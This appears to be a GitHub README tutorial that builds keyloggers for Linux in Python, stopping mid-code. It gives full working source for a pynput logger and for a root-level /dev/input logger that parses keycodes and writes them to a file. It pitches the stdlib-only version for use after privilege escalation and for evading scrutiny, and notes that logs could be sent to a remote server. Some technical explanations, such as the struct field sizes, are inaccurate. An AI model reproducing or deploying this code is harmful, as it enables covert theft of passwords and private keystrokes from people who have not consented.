Repository navigation
Building a Keylogger for Linux in Vanilla Python

The title Malware holds a level of mystique that I believe is largely attributed to actions of its developers. In every case, Malware is performing a legitimate function, but for illegitimate reasons. Malware performs systems and network functions, utilizing operating system API calls, standard encryption techniques, and socket programming. A RAT that generates a zombie is a malicious system daemon, which performs a regular service without the user's consent, or working directly against their best interests.
With this in mind, as I have no malicious intent with the Malware that I program, I prefer to call them Potentially Unwanted Programs (PUPs). Part of my aim with the RTCB, is to develop my own skills further in cryptography, and network & systems programming.
Any program that logs key strokes globally has major security and privacy implications. Do not test the following unless you are using a device you own, and if so make any other users of that device aware immediately. The author does not condone the use of the following programs for the unlawful monitoring of other users' keystrokes.
Before you start developing your own potentially unwanted programs (PUPs), you need to set up a safe and isolated environment where you can test them without affecting your main system or network. On top of this, the RTCB suggests creating virtual environments specifc to the packages required for each PUP to simplify compiling with Nuitka. Venvs are self-contained directories that contain a Python installation and any packages you need for your project. Virtual environments allow you to create and switch between multiple Python environments, each with its own dependencies and settings. This way, you can avoid conflicts between different versions of packages or libraries, and keep your system clean and secure.
To create a virtual environment, you need the venv module, which is included in the standard library of Python 3. You can use the following command to create a new virtual environment in the specified directory:
python -m venv /path/to/new/virtual/environmentThis command will create the directory if it doesn't exist already, and place a pyvenv.cfg file in it with a home key pointing to the Python installation from which the command was run. A common name for the directory is .venv. The command will also create a bin (or Scripts on Windows) subdirectory containing a copy or symlink of the Python binary or binaries, depending on the platform or arguments used at environment creation time. Additionally, it will create an (initially empty) lib/pythonX.Y/site-packages subdirectory (on Windows, this is Lib\site-packages), where X and Y are the major and minor version numbers of Python.
To activate the virtual environment, you need to run the following command:
source ./venv/bin/activateThis will change your prompt to show that you are in the virtual environment, and modify the PATH environment variable to include the bin directory of the virtual environment. This way, you can use the Python interpreter and any packages installed in the virtual environment without specifying the full path. To deactivate the virtual environment, you can simply type deactivate.
Pip is typically out of date in a new venv. To update pip use:
pip install --upgrade pipNow that you have set up your virtual environment, you are ready to start developing your own PUPs.
The black box keylogger works on all platforms thanks the excellent library by Moses Palmer: https://github.com/moses-palmer/pynput
First, create & activate a new virtual environment and install the necessary library for this PUP with:
pip install pynputThe Black Box uses queue, threading, and pynput modules. The queue module provides a way to store and retrieve items in a first-in, first-out (FIFO) order, and also manages thread locking for you. The threading module provides a way to run a function in a separate thread of execution.
# by 0x00wolf:
import queue
import threading
from pynput import keyboard
def worker():
key_string = ''
while True:
key = q.get()
try:
key_string += str(key.char)
except AttributeError:
if key == key.space:
key_string += ' '
elif key == key.backspace:
key_string = key_string[:-1]
elif key == key.shift:
pass
elif key == key.enter:
key_string += '\\n'
elif key == key.alt:
pass
elif key == key.tab:
pass
elif key == key.ctrl:
pass
else:
key_string += str(key)
if len(key_string) >= 20:
with open('logfile.txt', 'a') as f:
f.write(key_string)
key_string = ''
q.task_done()
def on_press(key):
q.put(key)
q = queue.Queue() # 1) Create a Queue object
t = threading.Thread(target=worker) # 2) Initialize the worker function in a separate Thread
t.start()
listener = keyboard.Listener(on_press=on_press) # 3) Initialize the Pynput Listener object
listener.start()- It creates a queue object that will store the key events.
- It creates a thread object that will run a worker function in the background. The worker function will get the key events from the queue, convert them to strings, and append them to a key_string variable. It will also handle some special keys, such as space, backspace, enter, and shift, by adding the appropriate characters to the key_string. If the key_string reaches a certain length (20 in this example), it will open a file named logfile.txt in append mode and write the key_string to it. Then, it will reset the key_string to an empty string.
- It creates a keyboard listener object that will monitor the keyboard events and call an on_press function for each key press. The on_press function will simply put the key event into the queue.
The queue and threading is to ensure that the pynput module doesn't block the main thread while listening to the keyboard events. You can learn more about the pynput module from https://pynput.readthedocs.io/.
Linux expands the concept of a file to every component of your computer. Each device attached to your computer will have a corresponding file that represents a binary stream of input data, which lives in the /dev/input/ directory. To listen to keystrokes globally on a Linux box, we need the account we are using to have reading rights to the input events, which generally will be limited to root access.
Almost all Linux boxes will have an installation of Python. Therefore, if you have been able to escalate privileges, but don’t have an installation of Pip, or are concerned that a download might trigger additional scrutiny, the ability to whip up a keylogger in vanilla Python could be advantageous. You could accomplish the same thing in a lower level language, but chances are Python will be there, and it’s significantly more complex to implement parsing of the event structs in C.
To view the different event streams running in your computer:
ls -l /dev/input/ To discover which event is mapped to the keyboard you can use the following command:
cat /proc/bus/input/devicesWhich returns a list of all the devices currently mapped to your computer and their associated event codes. To save some time:
cat /proc/bus/input/devices | grep keyboard -A 8Look for the number associated with the event from the information that is returned.
I adapted this script from code I read @ The Hacker's Diary: https://thehackerdiary.wordpress.com/2017/04/21/exploring-devinput-1/
import struct
import sys
from datetime import datetime
def get_keyboard_event_file(token_to_look_for):
"""This function iterates through /proc/bus/input/devices and prints out the information for the keyboard including the event file."""
section = ""
event_name = ""
with open("/proc/bus/input/devices", "r") as fp:
for line in fp:
if line.strip() == "":
if token_to_look_for in section and "mouse" not in section.lower():
print(f"Found [{token_to_look_for}] in:\n{section}")
for section_line in section.split('\n'):
if "Handlers=" in section_line.strip() and event_name == "":
print(f"Found Handlers line: [{section_line}]")
event_name = section_line.strip().split(' ')[-1]
print(f"Found event_name [{event_name}]")
return "/dev/input/" + event_name
section = ""
else:
section += line
if event_name == "":
raise Exception(f"No event name was found for the token [{token_to_look_for}]")
if __name__ == '__main__':
keyboard_event_file = ""
try:
keyboard_event_file = get_keyboard_event_file("EV=120013")
except Exception as err:
print(f"Couldn't get the keyboard event file due to error [{str(err)}]")
print(keyboard_event_file)Look for the number associated with the event from the information that is returned.
Having identified your event code we can use cat to examine the binary data from the keyboards input:
sudo cat /dev/input/eventXType something and watch the binary data stream appear...
The structure of the binary data is found in the Linux docs: https://www.kernel.org/doc/Documentation/input/input.txt
The keycodes for the keys being pressed can be extracted via a struct object, which is comprised as follows:
struct input_event {
struct timeval time;
unsigned short type;
unsigned short code;
unsigned int value;
};The first 16 bits contain the system time, and the next 8 bits contain the event code and the value. The value can be 1 for pressed, 2 for held, or 0 for released.
This is a simple method of viewing the binary keyboard events unpacked values from the event struct that I cooked up:
import struct
f = open("/dev/input/event3", "rb") # Open the file in the read-binary mode
try:
while True:
data = f.read(24)
(seconds, microseconds, event_type, event_code, value) = struct.unpack('llHHI', data)
if event_type == 1:
print(f"event code: {event_code}, value: {value}")
except KeyboardInterrupt:
f.close()
print("goodbye")
print("goodbye")You can accomplish the same thing in C, but it starts to get drastically more complicated when you start to input keyboard logic:
#include <stdio.h>
#include <fcntl.h>
#include <linux/input.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void INThandler(){
exit(0);
}
int main()
{
char devname[] = "/dev/input/event3";
int device = open(devname, O_RDONLY);
struct input_event ev;
signal(SIGINT, INThandler);
while(1)
{
read(device,&ev, sizeof(ev));
if(ev.type == 1 && ev.value == 1 || ev.value == 2 || ev.value == 0){
printf("Key: %i State: %i\n",ev.code,ev.value);
}
}
}You can use cat to view Linux's extensive set of keycodes using:
cat /usr/include/linux/input-event-codes.hor at Linus Torvald's Linux Kernel repo: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h
There are a huge number of event codes. The Linux Kernel handles interpreting keyboard events, including logic for when Shift is held, or caps lock is on, or when both are held. As Python is installed by default on Linux installations, we'll work out the logic for parsing keystrokes in Python.
I created this simple Python program to parse the keycodes from input-event-codes.h.
# Generates a python friendly list of all the potential keycodes
keymap = open('keymap.py', 'w')
keymap.write('keymap = ')
keymap_list = []
with open("/usr/include/linux/input-event-codes.h", "r") as fp:
data = fp.readlines()
for line in data:
line = line.strip()
if 'KEY_' in line:
keymap_list.append(line.split()[1].replace('KEY_', ''))
keymap.write(str(keymap_list))
keymap.close()For my solution, I used two lists to match keycodes to keys, and then depending on the state, my program will select the appropriate list. The above script wil generate a Python file with capital letters. Admittedly I did some manual conversion for special symbols in the second list.
This keylogger will run out of the box on any Python 3 installation (root privileges are most likely required). It uses three threads and two queues.
-
The Producer thread fetches keyboard events into event struct sized portions and places them into the first queue.
-
The Consumer thread grabs an event from the first queue, parses the event into a keystroke, and places the keystroke into the second queue. This was the tricky part, handling state & user input.
-
The Recorder thread grabs a keystroke from the second queue, and then writes it to a file. It also handles backspaces, opening the file and rewriting it with the last key sliced off.
# Vanilla Python keylogger
import struct
import sys
from threading import Thread
from queue import Queue
KEYMAP = ['RESERVED', 'ESC', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', 'BACKSPACE', '<\\t>', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '{', '}', '<\\n>', '<LEFTCTRL>', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ':', '"', '~', 'SHIFT', 'BACKSLASH', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/', 'SHIFT', 'KPASTERISK', '<LEFTALT>', ' ', 'CAPSLOCK', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'NUMLOCK', 'SCROLLLOCK', 'KP7', 'KP8', 'KP9', 'KPMINUS', 'KP4', 'KP5', 'KP6', 'KPPLUS', 'KP1', 'KP2', 'KP3', 'KP0', 'KPDOT', 'ZENKAKUHANKAKU', '102ND', 'F11', 'F12', 'RO', 'KATAKANA', 'HIRAGANA', 'HENKAN', 'KATAKANAHIRAGANA', 'MUHENKAN', 'KPJPCOMMA', 'KPENTER', 'RIGHTCTRL', 'KPSLASH', 'SYSRQ', 'RIGHTALT', 'LINEFEED', 'HOME', 'UP', 'PAGEUP', 'LEFT', 'RIGHT', 'END', 'DOWN', 'PAGEDOWN', 'INSERT', 'DELETE', 'MACRO', 'MUTE', 'VOLUMEDOWN', 'VOLUMEUP', 'POWER', 'KPEQUAL', 'KPPLUSMINUS', 'PAUSE', 'SCALE', 'KPCOMMA', 'HANGEUL', 'HANGUEL', 'HANJA', 'YEN', 'LEFTMETA', 'RIGHTMETA', 'COMPOSE', 'STOP', 'AGAIN', 'PROPS', 'UNDO', 'FRONT', 'COPY', 'OPEN', 'PASTE', 'FIND', 'CUT', 'HELP', 'MENU', 'CALC', 'SETUP', 'SLEEP', 'WAKEUP', 'FILE', 'SENDFILE', 'DELETEFILE', 'XFER', 'PROG1', 'PROG2', 'WWW', 'MSDOS', 'COFFEE', 'SCREENLOCK', 'ROTATE_DISPLAY', 'DIRECTION', 'CYCLEWINDOWS', 'MAIL', 'BOOKMARKS', 'COMPUTER', 'BACK', 'FORWARD', 'CLOSECD', 'EJECTCD', 'EJECTCLOSECD', 'NEXTSONG', 'PLAYPAUSE', 'PREVIOUSSONG', 'STOPCD', 'RECORD', 'REWIND', 'PHONE', 'ISO', 'CONFIG', 'HOMEPAGE', 'REFRESH', 'EXIT', 'MOVE', 'EDIT', 'SCROLLUP', 'SCROLLDOWN', 'KPLEFTPAREN', 'KPRIGHTPAREN', 'NEW', 'REDO', 'F13', 'F14', 'F15', 'F16', 'F17', 'F18', 'F19', 'F20', 'F21', 'F22', 'F23', 'F24', 'PLAYCD', 'PAUSECD', 'PROG3', 'PROG4', 'ALL_APPLICATIONS', 'DASHBOARD', 'SUSPEND', 'CLOSE', 'PLAY', 'FASTFORWARD', 'BASSBOOST', 'PRINT', 'HP', 'CAMERA', 'SOUND', 'QUESTION', 'EMAIL', 'CHAT', 'SEARCH', 'CONNECT', 'FINANCE', 'SPORT', 'SHOP', 'ALTERASE', 'CANCEL', 'BRIGHTNESSDOWN', 'BRIGHTNESSUP', 'MEDIA', 'SWITCHVIDEOMODE', 'KBDILLUMTOGGLE', 'KBDILLUMDOWN', 'KBDILLUMUP', 'SEND', 'REPLY', 'FORWARDMAIL', 'SAVE', 'DOCUMENTS', 'BATTERY', 'BLUETOOTH', 'WLAN', 'UWB', 'UNKNOWN', 'VIDEO_NEXT', 'VIDEO_PREV', 'BRIGHTNESS_CYCLE', 'BRIGHTNESS_AUTO', 'BRIGHTNESS_ZERO', 'DISPLAY_OFF', 'WWAN', 'WIMAX', 'RFKILL', 'MICMUTE', 'OK', 'SELECT', 'GOTO', 'CLEAR', 'POWER2', 'OPTION', 'INFO', 'TIME', 'VENDOR', 'ARCHIVE', 'PROGRAM', 'CHANNEL', 'FAVORITES', 'EPG', 'PVR', 'MHP', 'LANGUAGE', 'TITLE', 'SUBTITLE', 'ANGLE', 'FULL_SCREEN', 'ZOOM', 'MODE', 'KEYBOARD', 'ASPECT_RATIO', 'SCREEN', 'PC', 'TV', 'TV2', 'VCR', 'VCR2', 'SAT', 'SAT2', 'CD', 'TAPE', 'RADIO', 'TUNER', 'PLAYER', 'TEXT', 'DVD', 'AUX', 'MP3', 'AUDIO', 'VIDEO', 'DIRECTORY', 'LIST', 'MEMO', 'CALENDAR', 'RED', 'GREEN', 'YELLOW', 'BLUE', 'CHANNELUP', 'CHANNELDOWN', 'FIRST', 'LAST', 'AB', 'NEXT', 'RESTART', 'SLOW', 'SHUFFLE', 'BREAK', 'PREVIOUS', 'DIGITS', 'TEEN', 'TWEN', 'VIDEOPHONE', 'GAMES', 'ZOOMIN', 'ZOOMOUT', 'ZOOMRESET', 'WORDPROCESSOR', 'EDITOR', 'SPREADSHEET', 'GRAPHICSEDITOR', 'PRESENTATION', 'DATABASE', 'NEWS', 'VOICEMAIL', 'ADDRESSBOOK', 'MESSENGER', 'DISPLAYTOGGLE', 'BRIGHTNESS_TOGGLE', 'SPELLCHECK', 'LOGOFF', 'DOLLAR', 'EURO', 'FRAMEBACK', 'FRAMEFORWARD', 'CONTEXT_MENU', 'MEDIA_REPEAT', '10CHANNELSUP', '10CHANNELSDOWN', 'IMAGES', 'NOTIFICATION_CENTER', 'PICKUP_PHONE', 'HANGUP_PHONE', 'DEL_EOL', 'DEL_EOS', 'INS_LINE', 'DEL_LINE', 'FN', 'FN_ESC', 'FN_F1', 'FN_F2', 'FN_F3', 'FN_F4', 'FN_F5', 'FN_F6', 'FN_F7', 'FN_F8', 'FN_F9', 'FN_F10', 'FN_F11', 'FN_F12', 'FN_1', 'FN_2', 'FN_D', 'FN_E', 'FN_F', 'FN_S', 'FN_B', 'FN_RIGHT_SHIFT', 'BRL_DOT1', 'BRL_DOT2', 'BRL_DOT3', 'BRL_DOT4', 'BRL_DOT5', 'BRL_DOT6', 'BRL_DOT7', 'BRL_DOT8', 'BRL_DOT9', 'BRL_DOT10', 'NUMERIC_0', 'NUMERIC_1', 'NUMERIC_2', 'NUMERIC_3', 'NUMERIC_4', 'NUMERIC_5', 'NUMERIC_6', 'NUMERIC_7', 'NUMERIC_8', 'NUMERIC_9', 'NUMERIC_STAR', 'NUMERIC_POUND', 'NUMERIC_A', 'NUMERIC_B', 'NUMERIC_C', 'NUMERIC_D', 'CAMERA_FOCUS', 'WPS_BUTTON', 'TOUCHPAD_TOGGLE', 'TOUCHPAD_ON', 'TOUCHPAD_OFF', 'CAMERA_ZOOMIN', 'CAMERA_ZOOMOUT', 'CAMERA_UP', 'CAMERA_DOWN', 'CAMERA_LEFT', 'CAMERA_RIGHT', 'ATTENDANT_ON', 'ATTENDANT_OFF', 'ATTENDANT_TOGGLE', 'LIGHTS_TOGGLE', 'ALS_TOGGLE', 'ROTATE_LOCK_TOGGLE', 'BUTTONCONFIG', 'TASKMANAGER', 'JOURNAL', 'CONTROLPANEL', 'APPSELECT', 'SCREENSAVER', 'VOICECOMMAND', 'ASSISTANT', 'KBD_LAYOUT_NEXT', 'EMOJI_PICKER', 'DICTATE', 'CAMERA_ACCESS_ENABLE', 'CAMERA_ACCESS_DISABLE', 'CAMERA_ACCESS_TOGGLE', 'BRIGHTNESS_MIN', 'BRIGHTNESS_MAX', 'KBDINPUTASSIST_PREV', 'KBDINPUTASSIST_NEXT', 'KBDINPUTASSIST_PREVGROUP', 'KBDINPUTASSIST_NEXTGROUP', 'KBDINPUTASSIST_ACCEPT', 'KBDINPUTASSIST_CANCEL', 'RIGHT_UP', 'RIGHT_DOWN', 'LEFT_UP', 'LEFT_DOWN', 'ROOT_MENU', 'MEDIA_TOP_MENU', 'NUMERIC_11', 'NUMERIC_12', 'AUDIO_DESC', '3D_MODE', 'NEXT_FAVORITE', 'STOP_RECORD', 'PAUSE_RECORD', 'VOD', 'UNMUTE', 'FASTREVERSE', 'SLOWREVERSE', 'DATA', 'ONSCREEN_KEYBOARD', 'PRIVACY_SCREEN_TOGGLE', 'SELECTIVE_SCREENSHOT', 'NEXT_ELEMENT', 'PREVIOUS_ELEMENT', 'AUTOPILOT_ENGAGE_TOGGLE', 'MARK_WAYPOINT', 'SOS', 'NAV_CHART', 'FISHING_CHART', 'SINGLE_RANGE_RADAR', 'DUAL_RANGE_RADAR', 'RADAR_OVERLAY', 'TRADITIONAL_SONAR', 'CLEARVU_SONAR', 'SIDEVU_SONAR', 'NAV_INFO', 'BRIGHTNESS_MENU', 'The', 'e.g.', 'The', 'FOO', 'MACRO1', 'MACRO2', 'MACRO3', 'MACRO4', 'MACRO5', 'MACRO6', 'MACRO7', 'MACRO8', 'MACRO9', 'MACRO10', 'MACRO11', 'MACRO12', 'MACRO13', 'MACRO14', 'MACRO15', 'MACRO16', 'MACRO17', 'MACRO18', 'MACRO19', 'MACRO20', 'MACRO21', 'MACRO22', 'MACRO23', 'MACRO24', 'MACRO25', 'MACRO26', 'MACRO27', 'MACRO28', 'MACRO29', 'MACRO30', 'MACRO_RECORD_START', 'MACRO_RECORD_STOP', 'MACRO_RECORD_START', 'MACRO_RECORD_STOP', 'MACRO_PRESET_CYCLE', 'MACRO_PRESET1', 'MACRO_PRESET2', 'MACRO_PRESET3', 'have', 'KBD_LCD_MENU1', 'KBD_LCD_MENU2', 'KBD_LCD_MENU3', 'KBD_LCD_MENU4', 'KBD_LCD_MENU5', 'MIN_INTERESTING', 'MAX', 'CNT']
SHIFTED = ['RESERVED', 'ESC', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', 'BACKSPACE', '<\\t>', 'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', '[', ']', '<\\n>', '<LEFTCTRL>', 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', ';', "'", '`', 'SHIFT', 'BACKSLASH', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', '<', '>', '?', 'SHIFT', 'KPASTERISK', '<LEFTALT>', ' ', 'CAPSLOCK', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'NUMLOCK', 'SCROLLLOCK', 'KP7', 'KP8', 'KP9', 'KPMINUS', 'KP4', 'KP5', 'KP6', 'KPPLUS', 'KP1', 'KP2', 'KP3', 'KP0', 'KPDOT', 'ZENKAKUHANKAKU', '102ND', 'F11', 'F12', 'RO', 'KATAKANA', 'HIRAGANA', 'HENKAN', 'KATAKANAHIRAGANA', 'MUHENKAN', 'KPJPCOMMA', 'KPENTER', 'RIGHTCTRL', 'KPSLASH', 'SYSRQ', 'RIGHTALT', 'LINEFEED', 'HOME', 'UP', 'PAGEUP', 'LEFT', 'RIGHT', 'END', 'DOWN', 'PAGEDOWN', 'INSERT', 'DELETE', 'MACRO', 'MUTE', 'VOLUMEDOWN', 'VOLUMEUP', 'POWER', 'KPEQUAL', 'KPPLUSMINUS', 'PAUSE', 'SCALE', 'KPCOMMA', 'HANGEUL', 'HANGUEL', 'HANJA', 'YEN', 'LEFTMETA', 'RIGHTMETA', 'COMPOSE', 'STOP', 'AGAIN', 'PROPS', 'UNDO', 'FRONT', 'COPY', 'OPEN', 'PASTE', 'FIND', 'CUT', 'HELP', 'MENU', 'CALC', 'SETUP', 'SLEEP', 'WAKEUP', 'FILE', 'SENDFILE', 'DELETEFILE', 'XFER', 'PROG1', 'PROG2', 'WWW', 'MSDOS', 'COFFEE', 'SCREENLOCK', 'ROTATE_DISPLAY', 'DIRECTION', 'CYCLEWINDOWS', 'MAIL', 'BOOKMARKS', 'COMPUTER', 'BACK', 'FORWARD', 'CLOSECD', 'EJECTCD', 'EJECTCLOSECD', 'NEXTSONG', 'PLAYPAUSE', 'PREVIOUSSONG', 'STOPCD', 'RECORD', 'REWIND', 'PHONE', 'ISO', 'CONFIG', 'HOMEPAGE', 'REFRESH', 'EXIT', 'MOVE', 'EDIT', 'SCROLLUP', 'SCROLLDOWN', 'KPLEFTPAREN', 'KPRIGHTPAREN', 'NEW', 'REDO', 'F13', 'F14', 'F15', 'F16', 'F17', 'F18', 'F19', 'F20', 'F21', 'F22', 'F23', 'F24', 'PLAYCD', 'PAUSECD', 'PROG3', 'PROG4', 'ALL_APPLICATIONS', 'DASHBOARD', 'SUSPEND', 'CLOSE', 'PLAY', 'FASTFORWARD', 'BASSBOOST', 'PRINT', 'HP', 'CAMERA', 'SOUND', 'QUESTION', 'EMAIL', 'CHAT', 'SEARCH', 'CONNECT', 'FINANCE', 'SPORT', 'SHOP', 'ALTERASE', 'CANCEL', 'BRIGHTNESSDOWN', 'BRIGHTNESSUP', 'MEDIA', 'SWITCHVIDEOMODE', 'KBDILLUMTOGGLE', 'KBDILLUMDOWN', 'KBDILLUMUP', 'SEND', 'REPLY', 'FORWARDMAIL', 'SAVE', 'DOCUMENTS', 'BATTERY', 'BLUETOOTH', 'WLAN', 'UWB', 'UNKNOWN', 'VIDEO_NEXT', 'VIDEO_PREV', 'BRIGHTNESS_CYCLE', 'BRIGHTNESS_AUTO', 'BRIGHTNESS_ZERO', 'DISPLAY_OFF', 'WWAN', 'WIMAX', 'RFKILL', 'MICMUTE', 'OK', 'SELECT', 'GOTO', 'CLEAR', 'POWER2', 'OPTION', 'INFO', 'TIME', 'VENDOR', 'ARCHIVE', 'PROGRAM', 'CHANNEL', 'FAVORITES', 'EPG', 'PVR', 'MHP', 'LANGUAGE', 'TITLE', 'SUBTITLE', 'ANGLE', 'FULL_SCREEN', 'ZOOM', 'MODE', 'KEYBOARD', 'ASPECT_RATIO', 'SCREEN', 'PC', 'TV', 'TV2', 'VCR', 'VCR2', 'SAT', 'SAT2', 'CD', 'TAPE', 'RADIO', 'TUNER', 'PLAYER', 'TEXT', 'DVD', 'AUX', 'MP3', 'AUDIO', 'VIDEO', 'DIRECTORY', 'LIST', 'MEMO', 'CALENDAR', 'RED', 'GREEN', 'YELLOW', 'BLUE', 'CHANNELUP', 'CHANNELDOWN', 'FIRST', 'LAST', 'AB', 'NEXT', 'RESTART', 'SLOW', 'SHUFFLE', 'BREAK', 'PREVIOUS', 'DIGITS', 'TEEN', 'TWEN', 'VIDEOPHONE', 'GAMES', 'ZOOMIN', 'ZOOMOUT', 'ZOOMRESET', 'WORDPROCESSOR', 'EDITOR', 'SPREADSHEET', 'GRAPHICSEDITOR', 'PRESENTATION', 'DATABASE', 'NEWS', 'VOICEMAIL', 'ADDRESSBOOK', 'MESSENGER', 'DISPLAYTOGGLE', 'BRIGHTNESS_TOGGLE', 'SPELLCHECK', 'LOGOFF', 'DOLLAR', 'EURO', 'FRAMEBACK', 'FRAMEFORWARD', 'CONTEXT_MENU', 'MEDIA_REPEAT', '10CHANNELSUP', '10CHANNELSDOWN', 'IMAGES', 'NOTIFICATION_CENTER', 'PICKUP_PHONE', 'HANGUP_PHONE', 'DEL_EOL', 'DEL_EOS', 'INS_LINE', 'DEL_LINE', 'FN', 'FN_ESC', 'FN_F1', 'FN_F2', 'FN_F3', 'FN_F4', 'FN_F5', 'FN_F6', 'FN_F7', 'FN_F8', 'FN_F9', 'FN_F10', 'FN_F11', 'FN_F12', 'FN_1', 'FN_2', 'FN_D', 'FN_E', 'FN_F', 'FN_S', 'FN_B', 'FN_RIGHT_SHIFT', 'BRL_DOT1', 'BRL_DOT2', 'BRL_DOT3', 'BRL_DOT4', 'BRL_DOT5', 'BRL_DOT6', 'BRL_DOT7', 'BRL_DOT8', 'BRL_DOT9', 'BRL_DOT10', 'NUMERIC_0', 'NUMERIC_1', 'NUMERIC_2', 'NUMERIC_3', 'NUMERIC_4', 'NUMERIC_5', 'NUMERIC_6', 'NUMERIC_7', 'NUMERIC_8', 'NUMERIC_9', 'NUMERIC_STAR', 'NUMERIC_POUND', 'NUMERIC_A', 'NUMERIC_B', 'NUMERIC_C', 'NUMERIC_D', 'CAMERA_FOCUS', 'WPS_BUTTON', 'TOUCHPAD_TOGGLE', 'TOUCHPAD_ON', 'TOUCHPAD_OFF', 'CAMERA_ZOOMIN', 'CAMERA_ZOOMOUT', 'CAMERA_UP', 'CAMERA_DOWN', 'CAMERA_LEFT', 'CAMERA_RIGHT', 'ATTENDANT_ON', 'ATTENDANT_OFF', 'ATTENDANT_TOGGLE', 'LIGHTS_TOGGLE', 'ALS_TOGGLE', 'ROTATE_LOCK_TOGGLE', 'BUTTONCONFIG', 'TASKMANAGER', 'JOURNAL', 'CONTROLPANEL', 'APPSELECT', 'SCREENSAVER', 'VOICECOMMAND', 'ASSISTANT', 'KBD_LAYOUT_NEXT', 'EMOJI_PICKER', 'DICTATE', 'CAMERA_ACCESS_ENABLE', 'CAMERA_ACCESS_DISABLE', 'CAMERA_ACCESS_TOGGLE', 'BRIGHTNESS_MIN', 'BRIGHTNESS_MAX', 'KBDINPUTASSIST_PREV', 'KBDINPUTASSIST_NEXT', 'KBDINPUTASSIST_PREVGROUP', 'KBDINPUTASSIST_NEXTGROUP', 'KBDINPUTASSIST_ACCEPT', 'KBDINPUTASSIST_CANCEL', 'RIGHT_UP', 'RIGHT_DOWN', 'LEFT_UP', 'LEFT_DOWN', 'ROOT_MENU', 'MEDIA_TOP_MENU', 'NUMERIC_11', 'NUMERIC_12', 'AUDIO_DESC', '3D_MODE', 'NEXT_FAVORITE', 'STOP_RECORD', 'PAUSE_RECORD', 'VOD', 'UNMUTE', 'FASTREVERSE', 'SLOWREVERSE', 'DATA', 'ONSCREEN_KEYBOARD', 'PRIVACY_SCREEN_TOGGLE', 'SELECTIVE_SCREENSHOT', 'NEXT_ELEMENT', 'PREVIOUS_ELEMENT', 'AUTOPILOT_ENGAGE_TOGGLE', 'MARK_WAYPOINT', 'SOS', 'NAV_CHART', 'FISHING_CHART', 'SINGLE_RANGE_RADAR', 'DUAL_RANGE_RADAR', 'RADAR_OVERLAY', 'TRADITIONAL_SONAR', 'CLEARVU_SONAR', 'SIDEVU_SONAR', 'NAV_INFO', 'BRIGHTNESS_MENU', 'The', 'e.g.', 'The', 'FOO', 'MACRO1', 'MACRO2', 'MACRO3', 'MACRO4', 'MACRO5', 'MACRO6', 'MACRO7', 'MACRO8', 'MACRO9', 'MACRO10', 'MACRO11', 'MACRO12', 'MACRO13', 'MACRO14', 'MACRO15', 'MACRO16', 'MACRO17', 'MACRO18', 'MACRO19', 'MACRO20', 'MACRO21', 'MACRO22', 'MACRO23', 'MACRO24', 'MACRO25', 'MACRO26', 'MACRO27', 'MACRO28', 'MACRO29', 'MACRO30', 'MACRO_RECORD_START', 'MACRO_RECORD_STOP', 'MACRO_RECORD_START', 'MACRO_RECORD_STOP', 'MACRO_PRESET_CYCLE', 'MACRO_PRESET1', 'MACRO_PRESET2', 'MACRO_PRESET3', 'have', 'KBD_LCD_MENU1', 'KBD_LCD_MENU2', 'KBD_LCD_MENU3', 'KBD_LCD_MENU4', 'KBD_LCD_MENU5', 'MIN_INTERESTING', 'MAX', 'CNT']
OUTFILE = 'loggylogs.txt'
STRUCT_FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize('llHHI')
q = Queue() # Producer sends event to Parser
q2 = Queue() # Parser sends mapped character to Writer
def recorder():
"""Grabs items from the 2nd queue (parsed data), and writes it to the logfile.
This could be replaced with a function to send the data to a remote server"""
while True:
writing = q2.get(block=True) # Get the key
if writing == 'BACKSPACE': # If key is 'BACKSPACE'
with open(OUTFILE, 'r') as f:
data = f.read()
data = data[:-1] # Slice off the last character
with open(OUTFILE, 'w') as f:
f.write(data) # write it to the file
elif len(writing) <= 4: # Otherwise
print(writing, end='') # Print for debug
with open(OUTFILE, 'a+') as f:
f.write(writing) # Write the keystroke to file
def consumer():
"""Parses the data from the keystrokes into a mapped character (or string) from one of the two
keycode lists."""
shift = False # Boolean for Shift
caps_lock = False # Boolean for Caps Lock
while True:
key = ''
event = q.get(block=True) # Get the event
# Unpack the event:
(seconds, microseconds, event_type, event_code, value) = struct.unpack(STRUCT_FORMAT, event)
# for debugging codes: # print(f"shift={shift}, code={event_code}, value={value}, event_type={event_type}")
if event_type == 1:
# if leftshift or rightshift & value is 0 (unpressed)
if event_code == 42 and value == 0 or event_code == 54 and value == 0:
shift = False
# otherwise if leftshift or rightshift set shift to True
elif event_code == 42 or event_code == 54:
shift = True
# if capslock is pressed !capslock
elif event_code == 58 and value == 1:
if caps_lock:
caps_lock = False
else:
caps_lock = True
# otherwise if a key is pressed
elif value == 1:
# if neither capslock or shift
if not shift and not caps_lock:
key = KEYMAP[event_code]
# if just shift special symbols & capital letters
elif shift and not caps_lock:
key = SHIFTED[event_code]
# if just caps lock only allow capital letters & NOT special symbols
elif caps_lock and not shift:
if 16 <= event_code <= 25 or 30 <= event_code <= 38 or 44 <= event_code <= 50:
key = SHIFTED[event_code]
else:
key = KEYMAP[event_code]
# if both allow special symbols & lowercase letters
elif shift and caps_lock:
if 16 <= event_code <= 25 \
or 30 <= event_code <= 38 or 44 <= event_code <= 50:
key = KEYMAP[event_code]
else:
key = SHIFTED[event_code]
# pass the parsed data to the writer
q2.put(key)
def producer():
"""Opens the /dev/input/event for the keyboard and reads the binary stream in event sized chunks
and puts those into the first queue for the parser"""
fp = open('/dev/input/event3', "rb")
while True:
event = fp.read(EVENT_SIZE)
if not event:
break
q.put(event)
fp.close()
try:
t1 = Thread(target=producer) # Producer gets keyboard events
t1.start()
t2 = Thread(target=consumer) # Consumer parses keys from keyboard events
t2.start()
t3 = Thread(target=recorder) # Recorder writes keys to the log file and handles backspaces
t3.start()
except KeyboardInterrupt:
